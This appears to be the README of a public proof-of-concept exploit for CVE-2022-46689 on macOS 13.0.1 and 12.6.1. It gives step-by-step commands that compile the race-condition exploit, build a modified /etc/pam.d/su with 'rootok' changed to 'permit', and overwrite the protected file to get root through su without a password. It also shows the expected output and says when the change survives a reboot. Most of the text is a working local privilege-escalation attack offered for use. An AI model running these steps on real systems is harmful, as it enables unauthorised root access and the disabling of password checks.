Get root on macOS 13.0.1 with [CVE-2022-46689]( (macOS equivalent of the Dirty Cow bug), using the testcase extracted from [Apple's XNU source](

## Usage
On a macOS 13.0.1 / 12.6.1 (or below) machine, run:

clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin

You should get:

% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su

Tested on macOS 13 beta (22A5266r) with SIP off (it should still work with SIP on).

If your system is fully patched (macOS 13.1 / 12.6.2), it should instead read:

$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure

and running `su` should still ask for a password.

Thanks to Sealed System Volume, running this on any file on the /System volume only modifies the file temporarily: It's reverted on reboot. Running it on a file on a writeable volume will preserve the modification after a reboot.

## Credits

- Ian Beer of Project Zero for finding the issue. Looking forward to your writeup!
- Apple for the test case. (I didn't change anything: I just added the command line parameter to control what to overwrite.)
- [SSLab@Gatech]( for the trick to disable password checking using `/etc/pam.d`.